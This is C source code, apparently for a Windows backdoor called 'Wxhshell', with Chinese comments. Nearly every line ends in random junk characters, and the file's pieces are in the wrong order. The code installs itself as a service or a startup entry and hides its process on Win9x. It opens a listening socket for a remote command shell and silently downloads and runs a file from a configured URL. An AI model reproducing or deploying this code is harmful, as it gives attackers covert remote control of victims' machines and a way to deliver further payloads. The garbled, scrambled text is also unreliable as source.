DWORD AffinityMask; Egy#_ RT{
DWORD BasePriority; +9EG6"..@H
ULONG UniqueProcessId; [_kis
ULONG InheritedFromUniqueProcessId; pjG/`
} PROCESS_BASIC_INFORMATION; q|N,?f9
p1}umDb%
PROCNTQSIP NtQueryInformationProcess; FFC"rG
);*:UzsC_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4WspPHj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GnT Cq_\
Lt'FA
HANDLE hProcess; (rTn6[*
PROCESS_BASIC_INFORMATION pbi; :{7gZ+*
B h<DqN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o/dj1a~U
if(NULL == hInst ) return 0; a ][t#`
Xg<R+o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2g0_[$[m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zDK"Y{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QVT|6znw
rJz`v/:|P
if (!NtQueryInformationProcess) return 0; qS|ns'[
|f+`FOliP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kg/<<RO
if(!hProcess) return 0; A!GQ4.~%
6j2mr6o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b+/z,c6w
I9VU,8~
CloseHandle(hProcess); b=$(`y
2=]Xe#5J=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6B8gMO
if(hProcess==NULL) return 0; H{1'OC
UI]UxEJ
HMODULE hMod; pB;8yz=
char procName[255]; c9/&A
unsigned long cbNeeded; fk5$z0 /
k]"DsN$
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S4O'N x
bCfw,V{sce
CloseHandle(hProcess); 4Pv Pp{Y
>{1 i8 b@
if(strstr(procName,"services")) return 1; // 以服务启动 Bw Cwy
gt \O
return 0; // 注册表启动 1}/37\
} wAA9M4
c,L{Qv"n{
// 主模块 :jHDeF.A
int StartWxhshell(LPSTR lpCmdLine) yM
PZ}
{ h anS8
SOCKET wsl; Va-.
BOOL val=TRUE; (dnaT-M3
int port=0; +@mgb4_
struct sockaddr_in door; ir<K"wi(2
Lk`,mjhk
if(wscfg.ws_autoins) Install(); ^3O`8o
]w/%>
port=atoi(lpCmdLine); /r?EY&9G
I&Z+FL&@f
if(port<=0) port=wscfg.ws_port; \N a
H[[#h=r0f
WSADATA data; /oC@:7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u5I#5
\J-}Dp\0b
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; f7v|N)
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [J\! 2\Oo
door.sin_family = AF_INET; 3R?6{.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xf6\{
door.sin_port = htons(port); )u>/:
["BD,mB
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !V27ln KP+
closesocket(wsl); W8N__
return 1; %(ms74R+
} %T,cR>lw
cL+bMM$4r~
if(listen(wsl,2) == INVALID_SOCKET) { EXizRL-9o
closesocket(wsl); XFi!=|F
return 1; PL*1-t?#
} |0$7{nQ
Wxhshell(wsl); z|v/hUrD
WSACleanup(); !n`Y^
1qE*M7_:E>
return 0; 7R#$Hm
Ocf :73t
} m~R Me9Qi
I'c
rH/z9
// 以NT服务方式启动 n0vhc; d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qt=nN-AC(
{ O)D+u@RhH
DWORD status = 0; 8fC5O
DWORD specificError = 0xfffffff; h:Hpz
ueLdjASJ
serviceStatus.dwServiceType = SERVICE_WIN32; :89AYqT"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; c3!YA"5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2yPF'Q7u_.
serviceStatus.dwWin32ExitCode = 0; .*{0[
serviceStatus.dwServiceSpecificExitCode = 0; -m_H]<lWZ
serviceStatus.dwCheckPoint = 0; S&{#sl#e
serviceStatus.dwWaitHint = 0; Q+zy\T
iu'At7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OYj~"-3y)
if (hServiceStatusHandle==0) return; I`S?2i2H
W3y9>]{x^
status = GetLastError(); t$(<9
if (status!=NO_ERROR) 9PWqoz2c
{ 2T3b6
serviceStatus.dwCurrentState = SERVICE_STOPPED; nD}CQ_C
serviceStatus.dwCheckPoint = 0; 6GsB*hW
serviceStatus.dwWaitHint = 0; VL/KC-6
serviceStatus.dwWin32ExitCode = status; #iAw/a0&
serviceStatus.dwServiceSpecificExitCode = specificError; (dQsR sA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B;r` 1
G
return; ]Nb~-)t%B
} Q=#@g
1aS66TS3
serviceStatus.dwCurrentState = SERVICE_RUNNING; vhL/L?NB$
serviceStatus.dwCheckPoint = 0; ^9
Pae)
serviceStatus.dwWaitHint = 0;
k'PN fx\K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xMD]b
} P"<,@Mn
\><v1x>;
// 处理NT服务事件,比如:启动、停止 3$h yV{
VOID WINAPI NTServiceHandler(DWORD fdwControl) !"s~dL,7
{ OJXK]dZ
switch(fdwControl) 6+W`:0je
{ K%3{a=1
case SERVICE_CONTROL_STOP: LseS8F/q
serviceStatus.dwWin32ExitCode = 0; 3;f}w g
serviceStatus.dwCurrentState = SERVICE_STOPPED; {/q4W; D
serviceStatus.dwCheckPoint = 0; 0%;y'd**Ck
serviceStatus.dwWaitHint = 0; i~uoK7o|G
{ qTrb)95
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D0
,t,,L
} );1UbqVPD
return; *Fm#Qek
case SERVICE_CONTROL_PAUSE: gYW
serviceStatus.dwCurrentState = SERVICE_PAUSED; Usf7
AS=
break; 'h{| ]
case SERVICE_CONTROL_CONTINUE: t[HA86X
serviceStatus.dwCurrentState = SERVICE_RUNNING; +~!\;71:f
break; !R3ZyZcX
case SERVICE_CONTROL_INTERROGATE: Qcs>BOV~
break; 0/,Dy2h
}; ?/FCq6o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K&UTs$_cI
} TY*uK
%tT=q^%5
// 标准应用程序主函数 GOj<>h}r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }TsND6Ws3
{ N^xk.O_TO
zjUT:#(k
// 获取操作系统版本 B|.8+Q
OsIsNt=GetOsVer(); }e4#Mx
GetModuleFileName(NULL,ExeFile,MAX_PATH); 48"=,IrM
W
B7gY\Y&M
// 从命令行安装 hWfC"0
if(strpbrk(lpCmdLine,"iI")) Install(); XS`=8FQ
oz#;7
?9
// 下载执行文件 jR@J1IR<
if(wscfg.ws_downexe) { ,R5z`O
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :Mzkm^7B
WinExec(wscfg.ws_filenam,SW_HIDE); khS >
} /4bHN:I]M
IM*T+iRKqF
if(!OsIsNt) { 6qq{JbK
// 如果时win9x,隐藏进程并且设置为注册表启动 0\}%~e
HideProc(); {>8u/
StartWxhshell(lpCmdLine); ;vLg4k
} .jvRUD8A7
else ,n\'dMNii
if(StartFromService()) /I@Dv?
// 以服务方式启动 xa$p,_W:'
StartServiceCtrlDispatcher(DispatchTable); uZkh. 0yB
else I%gDqfdL
// 普通方式启动 aOK,Mm:iO
StartWxhshell(lpCmdLine); Hsvu&>[`S
;1Zz-@
return 0; ~$:=hT1
} bZ_vb? n
rIo)'L$uU
V{+5Fas^l
{Tl |>\[P
=========================================== )9?
^;HS
q:X&)f
SC/V3fW,
SRBQ"X[M2
`vj"HhC
4M{]YZMw8
" N\Li/
tG}cmK~%
#include <stdio.h> N9jSiRJ
#include <string.h> pG0Ca](
#include <windows.h> , \
6*fXc
#include <winsock2.h> |6y(7Ha
#include <winsvc.h> $S_G:}tna
#include <urlmon.h> \V/;i.ng
<|R`N)AV;
#pragma comment (lib, "Ws2_32.lib") DP<[Uz&
#pragma comment (lib, "urlmon.lib") l
d@ B
3,4m|Z2)
#define MAX_USER 100 // 最大客户端连接数 +ZU@MOni
#define BUF_SOCK 200 // sock buffer NP< {WL#
#define KEY_BUFF 255 // 输入 buffer /C"?Y'
R<AT}!mkR
#define REBOOT 0 // 重启 nW7Ew<`Q
#define SHUTDOWN 1 // 关机 NNM+Z:
Tyk\l>S
#define DEF_PORT 5000 // 监听端口 >+8Kl`2sw;
AKkr
)VgY
#define REG_LEN 16 // 注册表键长度 C0.bjFT|
#define SVC_LEN 80 // NT服务名长度 Al 1BnFB
9Vh> ty1|_
// 从dll定义API ^ua8Ya
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); syR
+;
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f1}am<
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;*=MI/"N
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +K"8Q'&